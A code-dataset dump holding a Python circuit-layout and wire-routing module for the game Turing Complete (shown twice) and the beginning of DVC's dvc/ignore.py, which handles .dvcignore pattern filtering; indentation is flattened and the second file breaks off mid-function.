from typing import Any, Callable, Collection, TYPE_CHECKING, Iterable, Literal
from bitarray import bitarray
from turing_complete_interface.circuit_parser import Circuit, GateReference, GateShape, CircuitWire, CircuitPin, Pos
from turing_complete_interface.truth_table import Atom
from turing_complete_interface.logic_nodes import CombinedLogicNode, NodePin
from turing_complete_interface.tc_components import get_component, rev_components
if TYPE_CHECKING:
import pydot
@dataclass
class IOPosition:
component_name: str
pin_mapping: dict[str, str]
force_id: str = None
force_position: tuple[int, int] = None
custom_data: str = ""
@classmethod
def from_circuit(cls, circuit: Circuit) -> list[IOPosition]:
ios = []
for gate in circuit.gates:
shape, _ = get_component(gate.name, gate.custom_data)
if not shape.is_io:
continue
ios.append(IOPosition(gate.name,
{gate.id: next(iter(shape.pins))}
if len(shape.pins) == 1 else {
f"{gate.id}.{pin_name}": pin_name for pin_name in shape.pins
}, gate.id, gate.pos, gate.custom_data))
return ios
@classmethod
def from_node(cls, node: CombinedLogicNode) -> list[IOPosition]:
ios = []
for name, inp in node.inputs.items():
ios.append(IOPosition("Input1" if inp.bits == 1 else "Input1B",
{name: "value"}, custom_data=name))
for name, out in node.outputs.items():
ios.append(IOPosition("Output1" if out.bits == 1 else "Output1B",
{name: "value"}, custom_data=name))
return ios
@dataclass
class Space:
x: int
y: int
w: int
h: int
_observer: Any = None
_placed_boxes: list[tuple[int, int, int, int]] = field(default_factory=list)
_protected: set[Any] = field(default_factory=set)
_taken_spaces: bitarray = None
def __post_init__(self):
self._taken_spaces = bitarray([0] * (self.w * self.h))
self._taken_spaces[:] = 0
def place(self, w: int, h: int, force_pos: tuple[int, int] = None,
hasher: Callable[[tuple[int, int]], Any] = None) -> tuple[int, int]:
if force_pos is None:
for idx in self._taken_spaces.itersearch(bitarray([0] * w)):
y, x = divmod(idx, self.w)
if x + w > self.w:
continue
if hasher is not None and hasher((x + self.x, y + self.y)) in self._protected:
continue
for k in range(h):
if idx + k * self.w + w >= self.h * self.w:
break
if self._taken_spaces[idx + k * self.w:idx + k * self.w + w].any():
break
else:
break
else:
raise ValueError(f"No space left {w}, {h}")
else:
x, y = force_pos
self._placed_boxes.append((x, y, w, h))
idx = y * self.w + x
for k in range(h):
self._taken_spaces[idx + k * self.w:idx + k * self.w + w] = 1
if hasher is not None:
self._protected.add(hasher((x + self.x, y + self.y)))
if self._observer is not None:
self._observer(self)
return x + self.x, y + self.y
def is_filled(self, x: int, y: int):
return self._taken_spaces[(y - self.y) * self.w + (x - self.x)]
def clear(self):
self._taken_spaces.clear()
self._placed_boxes.clear()
self._protected.clear()
@dataclass
class PathFinder:
circuit: Circuit
area: tuple[int, int, int, int]
taken: list[list[Literal['gate', 'pin', 'wire_end'] | None]]
def add_gate(self, gate_ref: GateReference, shape: GateShape):
for bx, by in shape.blocks:
p = gate_ref.translate((bx, by))
self.taken[p[0] - self.area[0]][p[1] - self.area[1]] = 'gate'
for pin in shape.pins.values():
p = gate_ref.translate(pin.pos)
self.taken[p[0] - self.area[0]][p[1] - self.area[1]] = 'pin'
if shape.big_shape:
for bx in range(shape.big_shape.tl[0], shape.big_shape.br[0]):
for by in range(shape.big_shape.tl[1], shape.big_shape.br[1]):
p = gate_ref.translate((bx, by))
self.taken[p[0] - self.area[0]][p[1] - self.area[1]] = 'gate'
def add_wire_end(self, pos: Pos):
self.taken[pos[0] - self.area[0]][pos[1] - self.area[1]] = 'wire_end'
def reload(self):
self.taken = [[None] * self.area[2] for _ in range(self.area[3])]
for gate in self.circuit.gates:
shape = get_component(gate, no_node=True)[0]
self.add_gate(gate, shape)
for wire in self.circuit.wires:
if wire.positions:
self.add_wire_end(wire.positions[0])
self.add_wire_end(wire.positions[-1])
def path_find(self, start: Pos, end: Pos):
start = start[0] - self.area[0], start[1] - self.area[1]
end = end[0] - self.area[0], end[1] - self.area[1]
if self.taken[end[0]][end[1]] == "gate":
return None
def h(p):
return sqrt((p[0] - end[0]) ** 2 + (p[1] - end[1]) ** 2)
def reconstruct():
path = [(end[0] + self.area[0], end[1] + self.area[1])]
current = end
while current in came_from:
current = came_from[current]
path.append((current[0] + self.area[0], current[1] + self.area[1]))
return path
queue = PriorityQueue()
queue.put((0, start))
came_from = {}
path_cost = {start: 0}
heuristic_cost = {}
while not queue.empty():
_, (x, y) = queue.get()
if (x, y) == end:
return reconstruct()
for dx in (-1, 0, 1):
if not (0 <= x + dx < self.area[2]):
continue
for dy in (-1, 0, 1):
if not (0 <= y + dy < self.area[3]):
continue
if dx == dy == 0:
continue
np = x + dx, y + dy
if self.taken[np[0]][np[1]] is not None and (np != end):
continue
new_cost = path_cost[x, y] + 1
if new_cost < path_cost.get(np, inf):
came_from[np] = x, y
path_cost[np] = new_cost
heuristic_cost[np] = new_cost + h(np)
queue.put((heuristic_cost[np], np))
return None
@classmethod
def create(cls, circuit, area):
self = cls(circuit, area, [[None] * area[3] for _ in range(area[2])])
self.reload()
return self
def build_circuit(node: CombinedLogicNode, io_positions: list[IOPosition], space: Space,
level_version: int = 0, place_alone: Collection[str] = (), place_memory_alone=True) -> Circuit:
taken_ids: set[int] = set()
i = 1
def get_id() -> int:
nonlocal i
while i in taken_ids:
i += 1
taken_ids.add(i)
return i
def place(shape: GateShape, io: bool = False, forced_pos: tuple[int, int] = None):
ox, oy, w, h = shape.bounding_box
def translate(p):
return (int((p[0] + 30 - ox) // 8 - 3), int((p[1] + 30 - oy) // 8 - 3))
if forced_pos is not None:
forced_pos = forced_pos[0] + ox - space.x, forced_pos[1] + ox - space.y
t, l = space.place(w, h, forced_pos, (translate if io else None))
return t - ox, l - oy
gate_refs = []
pin_locations: dict[NodePin, tuple[CircuitPin, int, int]] = {}
for io in io_positions:
shape, _ = get_component(io.component_name, io.custom_data)
pos = place(shape, True, io.force_position)
gi = get_id() if io.force_id is None else io.force_id
gate_refs.append(GateReference(io.component_name, pos, 0, str(gi), io.custom_data))
for node_pin_name, shape_pin_name in io.pin_mapping.items():
dp = shape.pins[shape_pin_name].pos
pin_locations[None, node_pin_name] = shape.pins[shape_pin_name], pos[0] + dp[0], pos[1] + dp[1]
for name, n in node.nodes.items():
component_name, custom_data = rev_components[n.name]
shape, inner_node = get_component(component_name, custom_data, no_node=True)
pos = place(shape, (n.name in place_alone)
or (name in place_alone)
or (place_memory_alone and inner_node.state_size != 0))
gi = get_id()
gate_refs.append(GateReference(component_name, pos, 0, str(gi), custom_data))
for node_pin_name, pin in shape.pins.items():
dp = pin.pos
pin_locations[name, node_pin_name] = pin, pos[0] + dp[0], pos[1] + dp[1]
wires = []
splitters = {}
makers = {}
bs_shape = get_component("ByteSplitter", "")[0]
bm_shape = get_component("ByteMaker", "")[0]
for wire in node.wires:
source_pin, *start = pin_locations[wire.source]
target_pin, *end = pin_locations[wire.target]
start = tuple(start)
end = tuple(end)
if not source_pin.is_byte and not target_pin.is_byte:
assert wire.source_bits == wire.target_bits == (0, 1), wire
wires.append(CircuitWire(len(wires) + 1, False, 0, "", [tuple(start), tuple(end)]))
elif source_pin.is_byte and not target_pin.is_byte:
assert wire.target_bits == (0, 1)
if start not in splitters:
pos = place(bs_shape)
splitter = splitters[start] = GateReference("ByteSplitter", pos, 0, str(get_id()), "")
gate_refs.append(splitter)
wires.append(CircuitWire(get_id(), True, 0, "", [start, bs_shape.pin_position(splitter, "in")]))
else:
splitter = splitters[start]
wires.append(CircuitWire(get_id(), False, 0, "",
[bs_shape.pin_position(splitter, f"r{wire.source_bits[0]}"), end]))
elif not source_pin.is_byte and target_pin.is_byte:
assert wire.source_bits == (0, 1)
if end not in makers:
pos = place(bm_shape)
maker = makers[end] = GateReference("ByteMaker", pos, 0, str(get_id()), "")
gate_refs.append(maker)
wires.append(CircuitWire(get_id(), True, 0, "", [bm_shape.pin_position(maker, "out"), end]))
else:
maker = makers[end]
wires.append(CircuitWire(get_id(), False, 0, "",
[start, bm_shape.pin_position(maker, f"r{wire.target_bits[0]}")]))
else:
assert False, wire
return Circuit(gate_refs, wires, 99_999, 99_999, level_version)
def to_pydot(node: CombinedLogicNode, io_positions: list[IOPosition], space: Space) -> \
tuple[dict[str, tuple[str, IOPosition]], "pydot.Dot"]:
import pydot
g = pydot.Dot(graph_type="digraph", rankdir="LR", nodesep=1, ranksep=5, splines="ortho")
for name, ln in node.nodes.items():
component_name, custom_data = rev_components[ln.name]
shape, inner_node = get_component(component_name, custom_data, no_node=True)
g.add_node(pydot.Node(name, fixedsize=True, shape="box",
width=shape.bounding_box[2], height=shape.bounding_box[3],
label=f"{component_name}[{name}]"))
io_nodes = {}
for io in io_positions:
shape, _ = get_component(io.component_name, io.custom_data)
name = "".join(io.pin_mapping)
for p in io.pin_mapping:
io_nodes[p] = name, io
g.add_node(pydot.Node(name, fixedsize=True, shape="box",
width=7, height=7,
label=f"{io.component_name}[{name}]"))
for wire in node.wires:
if wire.source[0] is None:
source = io_nodes[wire.source[1]][0]
else:
source = wire.source[0]
if wire.target[0] is None:
target = io_nodes[wire.target[1]][0]
else:
target = wire.target[0]
g.add_edge(pydot.Edge(source, target, tailport="e", headport="w", ))
return io_nodes, g
def layout_with_pydot(node: CombinedLogicNode, io_positions: list[IOPosition], space: Space) -> Circuit:
i = 1
taken_ids = set()
def get_id() -> int:
nonlocal i
while i in taken_ids:
i += 1
taken_ids.add(i)
return i
pin_to_io, graph = to_pydot(node, io_positions, space)
graph.write_svg("test.svg")
data = json.loads(graph.create(format='json0'))
del graph
ionames = {name: io for name, io in pin_to_io.values()}
gate_refs = []
pin_locations = {}
for obj in data["objects"]:
name, pos = obj['name'], obj['pos']
pos = pos.split(',')
pos = int(pos[0]) // 72 + space.x, int(pos[1]) // 72 + space.y
if name in ionames:
io: IOPosition = ionames[name]
if io.force_id is not None:
gid = int(io.force_id)
taken_ids.add(gid)
else:
gid = get_id()
component_name, custom_data = io.component_name, io.custom_data
gate_refs.append(GateReference(io.component_name, pos, 0, str(gid), io.custom_data))
shape, _ = get_component(io.component_name, io.custom_data, True)
for node_pin_name, shape_pin_name in io.pin_mapping.items():
dp = shape.pins[shape_pin_name].pos
pin_locations[None, node_pin_name] = shape.pins[shape_pin_name], pos[0] + dp[0], pos[1] + dp[1]
else:
n = node.nodes[name]
component_name, custom_data = rev_components[n.name]
shape, inner_node = get_component(component_name, custom_data, no_node=True)
gid = get_id()
for node_pin_name, pin in shape.pins.items():
dp = pin.pos
pin_locations[name, node_pin_name] = pin, pos[0] + dp[0], pos[1] + dp[1]
space.place(shape.bounding_box[2], shape.bounding_box[3], (pos[0] - space.x, pos[1] - space.y))
gate_refs.append(GateReference(component_name, pos, 0, str(gid), custom_data))
wires = []
splitters = {}
makers = {}
bs_shape = get_component("ByteSplitter", "")[0]
bm_shape = get_component("ByteMaker", "")[0]
for wire in node.wires:
source_pin, *start = pin_locations[wire.source]
target_pin, *end = pin_locations[wire.target]
start = tuple(start)
end = tuple(end)
if not source_pin.is_byte and not target_pin.is_byte:
assert wire.source_bits == wire.target_bits == (0, 1), wire
wires.append(CircuitWire(len(wires) + 1, False, 0, "", [tuple(start), tuple(end)]))
elif source_pin.is_byte and not target_pin.is_byte:
assert wire.target_bits == (0, 1)
if start not in splitters:
t, l = space.place(bm_shape.bounding_box[2], bm_shape.bounding_box[3])
pos = t - bm_shape.bounding_box[0], l - bm_shape.bounding_box[1]
splitter = splitters[start] = GateReference("ByteSplitter", pos, 0, str(get_id()), "")
gate_refs.append(splitter)
wires.append(CircuitWire(get_id(), True, 0, "", [start, bs_shape.pin_position(splitter, "in")]))
else:
splitter = splitters[start]
wires.append(CircuitWire(get_id(), False, 0, "",
[bs_shape.pin_position(splitter, f"r{wire.source_bits[0]}"), end]))
elif not source_pin.is_byte and target_pin.is_byte:
assert wire.source_bits == (0, 1)
if end not in makers:
t, l = space.place(bm_shape.bounding_box[2], bm_shape.bounding_box[3])
pos = t - bm_shape.bounding_box[0], l - bm_shape.bounding_box[1]
maker = makers[end] = GateReference("ByteMaker", pos, 0, str(get_id()), "")
gate_refs.append(maker)
wires.append(CircuitWire(get_id(), True, 0, "", [bm_shape.pin_position(maker, "out"), end]))
else:
maker = makers[end]
wires.append(CircuitWire(get_id(), False, 0, "",
[start, bm_shape.pin_position(maker, f"r{wire.target_bits[0]}")]))
else:
assert False, wire
return Circuit(gate_refs, wires)
GateType = Literal["and", "or", "nor", "nand"]
def layout_two_levels(inputs: list[str], first: Iterable[tuple[str, tuple[Atom, ...], GateType]],
second: Iterable[tuple[str, str, bool]], use_buffer: bool = True):
pass
| 41.121718 | 116 | 0.556878 | from __future__ import annotations
import json
from dataclasses import dataclass, field
from math import inf, sqrt
from queue import PriorityQueue
from typing import Any, Callable, Collection, TYPE_CHECKING, Iterable, Literal
from bitarray import bitarray
from turing_complete_interface.circuit_parser import Circuit, GateReference, GateShape, CircuitWire, CircuitPin, Pos
from turing_complete_interface.truth_table import Atom
from turing_complete_interface.logic_nodes import CombinedLogicNode, NodePin
from turing_complete_interface.tc_components import get_component, rev_components
if TYPE_CHECKING:
import pydot
@dataclass
class IOPosition:
component_name: str
pin_mapping: dict[str, str]
force_id: str = None
force_position: tuple[int, int] = None
custom_data: str = ""
@classmethod
def from_circuit(cls, circuit: Circuit) -> list[IOPosition]:
ios = []
for gate in circuit.gates:
shape, _ = get_component(gate.name, gate.custom_data)
if not shape.is_io:
continue
ios.append(IOPosition(gate.name,
{gate.id: next(iter(shape.pins))}
if len(shape.pins) == 1 else {
f"{gate.id}.{pin_name}": pin_name for pin_name in shape.pins
}, gate.id, gate.pos, gate.custom_data))
return ios
@classmethod
def from_node(cls, node: CombinedLogicNode) -> list[IOPosition]:
ios = []
for name, inp in node.inputs.items():
ios.append(IOPosition("Input1" if inp.bits == 1 else "Input1B",
{name: "value"}, custom_data=name))
for name, out in node.outputs.items():
ios.append(IOPosition("Output1" if out.bits == 1 else "Output1B",
{name: "value"}, custom_data=name))
return ios
@dataclass
class Space:
x: int
y: int
w: int
h: int
_observer: Any = None
_placed_boxes: list[tuple[int, int, int, int]] = field(default_factory=list)
_protected: set[Any] = field(default_factory=set)
_taken_spaces: bitarray = None
def __post_init__(self):
self._taken_spaces = bitarray([0] * (self.w * self.h))
self._taken_spaces[:] = 0
def place(self, w: int, h: int, force_pos: tuple[int, int] = None,
hasher: Callable[[tuple[int, int]], Any] = None) -> tuple[int, int]:
if force_pos is None:
for idx in self._taken_spaces.itersearch(bitarray([0] * w)):
y, x = divmod(idx, self.w)
if x + w > self.w:
continue
if hasher is not None and hasher((x + self.x, y + self.y)) in self._protected:
continue
for k in range(h):
if idx + k * self.w + w >= self.h * self.w:
break
if self._taken_spaces[idx + k * self.w:idx + k * self.w + w].any():
break
else:
break
else:
raise ValueError(f"No space left {w}, {h}")
else:
x, y = force_pos
self._placed_boxes.append((x, y, w, h))
idx = y * self.w + x
for k in range(h):
self._taken_spaces[idx + k * self.w:idx + k * self.w + w] = 1
if hasher is not None:
self._protected.add(hasher((x + self.x, y + self.y)))
if self._observer is not None:
self._observer(self)
return x + self.x, y + self.y
def is_filled(self, x: int, y: int):
return self._taken_spaces[(y - self.y) * self.w + (x - self.x)]
def clear(self):
self._taken_spaces.clear()
self._placed_boxes.clear()
self._protected.clear()
@dataclass
class PathFinder:
circuit: Circuit
area: tuple[int, int, int, int]
taken: list[list[Literal['gate', 'pin', 'wire_end'] | None]]
def add_gate(self, gate_ref: GateReference, shape: GateShape):
for bx, by in shape.blocks:
p = gate_ref.translate((bx, by))
self.taken[p[0] - self.area[0]][p[1] - self.area[1]] = 'gate'
for pin in shape.pins.values():
p = gate_ref.translate(pin.pos)
self.taken[p[0] - self.area[0]][p[1] - self.area[1]] = 'pin'
if shape.big_shape:
for bx in range(shape.big_shape.tl[0], shape.big_shape.br[0]):
for by in range(shape.big_shape.tl[1], shape.big_shape.br[1]):
p = gate_ref.translate((bx, by))
self.taken[p[0] - self.area[0]][p[1] - self.area[1]] = 'gate'
def add_wire_end(self, pos: Pos):
self.taken[pos[0] - self.area[0]][pos[1] - self.area[1]] = 'wire_end'
def reload(self):
self.taken = [[None] * self.area[2] for _ in range(self.area[3])]
for gate in self.circuit.gates:
shape = get_component(gate, no_node=True)[0]
self.add_gate(gate, shape)
for wire in self.circuit.wires:
if wire.positions:
self.add_wire_end(wire.positions[0])
self.add_wire_end(wire.positions[-1])
def path_find(self, start: Pos, end: Pos):
start = start[0] - self.area[0], start[1] - self.area[1]
end = end[0] - self.area[0], end[1] - self.area[1]
if self.taken[end[0]][end[1]] == "gate":
return None
def h(p):
return sqrt((p[0] - end[0]) ** 2 + (p[1] - end[1]) ** 2)
def reconstruct():
path = [(end[0] + self.area[0], end[1] + self.area[1])]
current = end
while current in came_from:
current = came_from[current]
path.append((current[0] + self.area[0], current[1] + self.area[1]))
return path
queue = PriorityQueue()
queue.put((0, start))
came_from = {}
path_cost = {start: 0}
heuristic_cost = {}
while not queue.empty():
_, (x, y) = queue.get()
if (x, y) == end:
return reconstruct()
for dx in (-1, 0, 1):
if not (0 <= x + dx < self.area[2]):
continue
for dy in (-1, 0, 1):
if not (0 <= y + dy < self.area[3]):
continue
if dx == dy == 0:
continue
np = x + dx, y + dy
if self.taken[np[0]][np[1]] is not None and (np != end):
continue
new_cost = path_cost[x, y] + 1
if new_cost < path_cost.get(np, inf):
came_from[np] = x, y
path_cost[np] = new_cost
heuristic_cost[np] = new_cost + h(np)
queue.put((heuristic_cost[np], np))
return None
@classmethod
def create(cls, circuit, area):
self = cls(circuit, area, [[None] * area[3] for _ in range(area[2])])
self.reload()
return self
def build_circuit(node: CombinedLogicNode, io_positions: list[IOPosition], space: Space,
level_version: int = 0, place_alone: Collection[str] = (), place_memory_alone=True) -> Circuit:
taken_ids: set[int] = set()
i = 1
def get_id() -> int:
nonlocal i
while i in taken_ids:
i += 1
taken_ids.add(i)
return i
def place(shape: GateShape, io: bool = False, forced_pos: tuple[int, int] = None):
ox, oy, w, h = shape.bounding_box
def translate(p):
return (int((p[0] + 30 - ox) // 8 - 3), int((p[1] + 30 - oy) // 8 - 3))
if forced_pos is not None:
forced_pos = forced_pos[0] + ox - space.x, forced_pos[1] + ox - space.y
t, l = space.place(w, h, forced_pos, (translate if io else None))
return t - ox, l - oy
gate_refs = []
pin_locations: dict[NodePin, tuple[CircuitPin, int, int]] = {}
for io in io_positions:
shape, _ = get_component(io.component_name, io.custom_data)
pos = place(shape, True, io.force_position)
gi = get_id() if io.force_id is None else io.force_id
gate_refs.append(GateReference(io.component_name, pos, 0, str(gi), io.custom_data))
for node_pin_name, shape_pin_name in io.pin_mapping.items():
dp = shape.pins[shape_pin_name].pos
pin_locations[None, node_pin_name] = shape.pins[shape_pin_name], pos[0] + dp[0], pos[1] + dp[1]
for name, n in node.nodes.items():
component_name, custom_data = rev_components[n.name]
shape, inner_node = get_component(component_name, custom_data, no_node=True)
pos = place(shape, (n.name in place_alone)
or (name in place_alone)
or (place_memory_alone and inner_node.state_size != 0))
gi = get_id()
gate_refs.append(GateReference(component_name, pos, 0, str(gi), custom_data))
for node_pin_name, pin in shape.pins.items():
dp = pin.pos
pin_locations[name, node_pin_name] = pin, pos[0] + dp[0], pos[1] + dp[1]
wires = []
splitters = {}
makers = {}
bs_shape = get_component("ByteSplitter", "")[0]
bm_shape = get_component("ByteMaker", "")[0]
for wire in node.wires:
source_pin, *start = pin_locations[wire.source]
target_pin, *end = pin_locations[wire.target]
start = tuple(start)
end = tuple(end)
if not source_pin.is_byte and not target_pin.is_byte:
assert wire.source_bits == wire.target_bits == (0, 1), wire
wires.append(CircuitWire(len(wires) + 1, False, 0, "", [tuple(start), tuple(end)]))
elif source_pin.is_byte and not target_pin.is_byte:
assert wire.target_bits == (0, 1)
if start not in splitters:
pos = place(bs_shape)
splitter = splitters[start] = GateReference("ByteSplitter", pos, 0, str(get_id()), "")
gate_refs.append(splitter)
wires.append(CircuitWire(get_id(), True, 0, "", [start, bs_shape.pin_position(splitter, "in")]))
else:
splitter = splitters[start]
wires.append(CircuitWire(get_id(), False, 0, "",
[bs_shape.pin_position(splitter, f"r{wire.source_bits[0]}"), end]))
elif not source_pin.is_byte and target_pin.is_byte:
assert wire.source_bits == (0, 1)
if end not in makers:
pos = place(bm_shape)
maker = makers[end] = GateReference("ByteMaker", pos, 0, str(get_id()), "")
gate_refs.append(maker)
wires.append(CircuitWire(get_id(), True, 0, "", [bm_shape.pin_position(maker, "out"), end]))
else:
maker = makers[end]
wires.append(CircuitWire(get_id(), False, 0, "",
[start, bm_shape.pin_position(maker, f"r{wire.target_bits[0]}")]))
else:
assert False, wire
return Circuit(gate_refs, wires, 99_999, 99_999, level_version)
def to_pydot(node: CombinedLogicNode, io_positions: list[IOPosition], space: Space) -> \
tuple[dict[str, tuple[str, IOPosition]], "pydot.Dot"]:
import pydot
g = pydot.Dot(graph_type="digraph", rankdir="LR", nodesep=1, ranksep=5, splines="ortho")
for name, ln in node.nodes.items():
component_name, custom_data = rev_components[ln.name]
shape, inner_node = get_component(component_name, custom_data, no_node=True)
g.add_node(pydot.Node(name, fixedsize=True, shape="box",
width=shape.bounding_box[2], height=shape.bounding_box[3],
label=f"{component_name}[{name}]"))
io_nodes = {}
for io in io_positions:
shape, _ = get_component(io.component_name, io.custom_data)
name = "".join(io.pin_mapping)
for p in io.pin_mapping:
io_nodes[p] = name, io
g.add_node(pydot.Node(name, fixedsize=True, shape="box",
width=7, height=7,
label=f"{io.component_name}[{name}]"))
for wire in node.wires:
if wire.source[0] is None:
source = io_nodes[wire.source[1]][0]
else:
source = wire.source[0]
if wire.target[0] is None:
target = io_nodes[wire.target[1]][0]
else:
target = wire.target[0]
g.add_edge(pydot.Edge(source, target, tailport="e", headport="w", ))
return io_nodes, g
def layout_with_pydot(node: CombinedLogicNode, io_positions: list[IOPosition], space: Space) -> Circuit:
i = 1
taken_ids = set()
def get_id() -> int:
nonlocal i
while i in taken_ids:
i += 1
taken_ids.add(i)
return i
pin_to_io, graph = to_pydot(node, io_positions, space)
graph.write_svg("test.svg")
data = json.loads(graph.create(format='json0'))
del graph
ionames = {name: io for name, io in pin_to_io.values()}
gate_refs = []
pin_locations = {}
for obj in data["objects"]:
name, pos = obj['name'], obj['pos']
pos = pos.split(',')
pos = int(pos[0]) // 72 + space.x, int(pos[1]) // 72 + space.y
if name in ionames:
io: IOPosition = ionames[name]
if io.force_id is not None:
gid = int(io.force_id)
taken_ids.add(gid)
else:
gid = get_id()
component_name, custom_data = io.component_name, io.custom_data
gate_refs.append(GateReference(io.component_name, pos, 0, str(gid), io.custom_data))
shape, _ = get_component(io.component_name, io.custom_data, True)
for node_pin_name, shape_pin_name in io.pin_mapping.items():
dp = shape.pins[shape_pin_name].pos
pin_locations[None, node_pin_name] = shape.pins[shape_pin_name], pos[0] + dp[0], pos[1] + dp[1]
else:
n = node.nodes[name]
component_name, custom_data = rev_components[n.name]
shape, inner_node = get_component(component_name, custom_data, no_node=True)
gid = get_id()
for node_pin_name, pin in shape.pins.items():
dp = pin.pos
pin_locations[name, node_pin_name] = pin, pos[0] + dp[0], pos[1] + dp[1]
space.place(shape.bounding_box[2], shape.bounding_box[3], (pos[0] - space.x, pos[1] - space.y))
gate_refs.append(GateReference(component_name, pos, 0, str(gid), custom_data))
wires = []
splitters = {}
makers = {}
bs_shape = get_component("ByteSplitter", "")[0]
bm_shape = get_component("ByteMaker", "")[0]
for wire in node.wires:
source_pin, *start = pin_locations[wire.source]
target_pin, *end = pin_locations[wire.target]
start = tuple(start)
end = tuple(end)
if not source_pin.is_byte and not target_pin.is_byte:
assert wire.source_bits == wire.target_bits == (0, 1), wire
wires.append(CircuitWire(len(wires) + 1, False, 0, "", [tuple(start), tuple(end)]))
elif source_pin.is_byte and not target_pin.is_byte:
assert wire.target_bits == (0, 1)
if start not in splitters:
t, l = space.place(bm_shape.bounding_box[2], bm_shape.bounding_box[3])
pos = t - bm_shape.bounding_box[0], l - bm_shape.bounding_box[1]
splitter = splitters[start] = GateReference("ByteSplitter", pos, 0, str(get_id()), "")
gate_refs.append(splitter)
wires.append(CircuitWire(get_id(), True, 0, "", [start, bs_shape.pin_position(splitter, "in")]))
else:
splitter = splitters[start]
wires.append(CircuitWire(get_id(), False, 0, "",
[bs_shape.pin_position(splitter, f"r{wire.source_bits[0]}"), end]))
elif not source_pin.is_byte and target_pin.is_byte:
assert wire.source_bits == (0, 1)
if end not in makers:
t, l = space.place(bm_shape.bounding_box[2], bm_shape.bounding_box[3])
pos = t - bm_shape.bounding_box[0], l - bm_shape.bounding_box[1]
maker = makers[end] = GateReference("ByteMaker", pos, 0, str(get_id()), "")
gate_refs.append(maker)
wires.append(CircuitWire(get_id(), True, 0, "", [bm_shape.pin_position(maker, "out"), end]))
else:
maker = makers[end]
wires.append(CircuitWire(get_id(), False, 0, "",
[start, bm_shape.pin_position(maker, f"r{wire.target_bits[0]}")]))
else:
assert False, wire
return Circuit(gate_refs, wires)
GateType = Literal["and", "or", "nor", "nand"]
def layout_two_levels(inputs: list[str], first: Iterable[tuple[str, tuple[Atom, ...], GateType]],
second: Iterable[tuple[str, str, bool]], use_buffer: bool = True):
pass
| true | true |
f72623295ea209ba44d041366790eed08ce7ecff | 7,709 | py | Python | dvc/ignore.py | iksnagreb/dvc | a077135d76bd30205ca6db75bb76c55465be5255 | [
"Apache-2.0"
] | 1 | 2020-08-12T22:51:45.000Z | 2020-08-12T22:51:45.000Z | dvc/ignore.py | iksnagreb/dvc | a077135d76bd30205ca6db75bb76c55465be5255 | [
"Apache-2.0"
] | null | null | null | dvc/ignore.py | iksnagreb/dvc | a077135d76bd30205ca6db75bb76c55465be5255 | [
"Apache-2.0"
] | 1 | 2020-11-28T11:47:48.000Z | 2020-11-28T11:47:48.000Z | import logging
import os
import re
from itertools import groupby
from pathspec.patterns import GitWildMatchPattern
from pathspec.util import normalize_file
from pygtrie import StringTrie
from dvc.path_info import PathInfo
from dvc.pathspec_math import merge_patterns
from dvc.system import System
from dvc.utils import relpath
logger = logging.getLogger(__name__)
class DvcIgnore:
DVCIGNORE_FILE = ".dvcignore"
def __call__(self, root, dirs, files):
raise NotImplementedError
class DvcIgnorePatterns(DvcIgnore):
def __init__(self, pattern_list, dirname):
self.pattern_list = pattern_list
self.dirname = dirname
self.prefix = self.dirname + os.sep
regex_pattern_list = map(
GitWildMatchPattern.pattern_to_regex, pattern_list
)
self.ignore_spec = [
(ignore, re.compile("|".join(item[0] for item in group)))
for ignore, group in groupby(regex_pattern_list, lambda x: x[1])
if ignore is not None
]
@classmethod
def from_files(cls, ignore_file_path, tree):
assert os.path.isabs(ignore_file_path)
dirname = os.path.normpath(os.path.dirname(ignore_file_path))
with tree.open(ignore_file_path, encoding="utf-8") as fobj:
path_spec_lines = [
line for line in map(str.strip, fobj.readlines()) if line
]
return cls(path_spec_lines, dirname)
def __call__(self, root, dirs, files):
files = [f for f in files if not self.matches(root, f)]
dirs = [d for d in dirs if not self.matches(root, d, True)]
return dirs, files
def matches(self, dirname, basename, is_dir=False):
# NOTE: `relpath` is too slow, so we have to assume that both
# `dirname` and `self.dirname` are relative or absolute together.
if dirname == self.dirname:
path = basename
elif dirname.startswith(self.prefix):
rel = dirname[len(self.prefix) :]
# NOTE: `os.path.join` is ~x5.5 slower
path = f"{rel}{os.sep}{basename}"
else:
return False
if not System.is_unix():
path = normalize_file(path)
return self.ignore(path, is_dir)
def ignore(self, path, is_dir):
result = False
if is_dir:
path_dir = f"{path}/"
for ignore, pattern in self.ignore_spec:
if pattern.match(path) or pattern.match(path_dir):
result = ignore
else:
for ignore, pattern in self.ignore_spec:
if pattern.match(path):
result = ignore
return result
def __hash__(self):
return hash(self.dirname + ":" + "\n".join(self.pattern_list))
def __eq__(self, other):
if not isinstance(other, DvcIgnorePatterns):
return NotImplemented
return (self.dirname == other.dirname) & (
self.pattern_list == other.pattern_list
)
def __bool__(self):
return bool(self.pattern_list)
class DvcIgnorePatternsTrie(DvcIgnore):
trie = None
def __init__(self):
if self.trie is None:
self.trie = StringTrie(separator=os.sep)
def __call__(self, root, dirs, files):
ignore_pattern = self[root]
if ignore_pattern:
return ignore_pattern(root, dirs, files)
return dirs, files
def __setitem__(self, root, ignore_pattern):
base_pattern = self[root]
common_dirname, merged_pattern = merge_patterns(
base_pattern.dirname,
base_pattern.pattern_list,
ignore_pattern.dirname,
ignore_pattern.pattern_list,
)
self.trie[root] = DvcIgnorePatterns(merged_pattern, common_dirname)
def __getitem__(self, root):
ignore_pattern = self.trie.longest_prefix(root)
if ignore_pattern:
return ignore_pattern.value
return DvcIgnorePatterns([], root)
class DvcIgnoreDirs(DvcIgnore):
def __init__(self, basenames):
self.basenames = set(basenames)
def __call__(self, root, dirs, files):
dirs = [d for d in dirs if d not in self.basenames]
return dirs, files
def __hash__(self):
return hash(tuple(self.basenames))
def __eq__(self, other):
if not isinstance(other, DvcIgnoreDirs):
return NotImplemented
return self.basenames == other.basenames
class DvcIgnoreRepo(DvcIgnore):
def __call__(self, root, dirs, files):
def is_dvc_repo(directory):
from dvc.repo import Repo
return os.path.isdir(os.path.join(root, directory, Repo.DVC_DIR))
dirs = [d for d in dirs if not is_dvc_repo(d)]
return dirs, files
class DvcIgnoreFilterNoop:
def __init__(self, tree, root_dir):
pass
def __call__(self, root, dirs, files):
return dirs, files
def is_ignored_dir(self, _):
return False
def is_ignored_file(self, _):
return False
class DvcIgnoreFilter:
def __init__(self, tree, root_dir):
self.tree = tree
self.root_dir = root_dir
self.ignores = {
DvcIgnoreDirs([".git", ".hg", ".dvc"]),
DvcIgnoreRepo(),
}
ignore_pattern_trie = DvcIgnorePatternsTrie()
for root, dirs, _ in self.tree.walk(self.root_dir):
ignore_pattern = self._get_ignore_pattern(root)
if ignore_pattern:
ignore_pattern_trie[root] = ignore_pattern
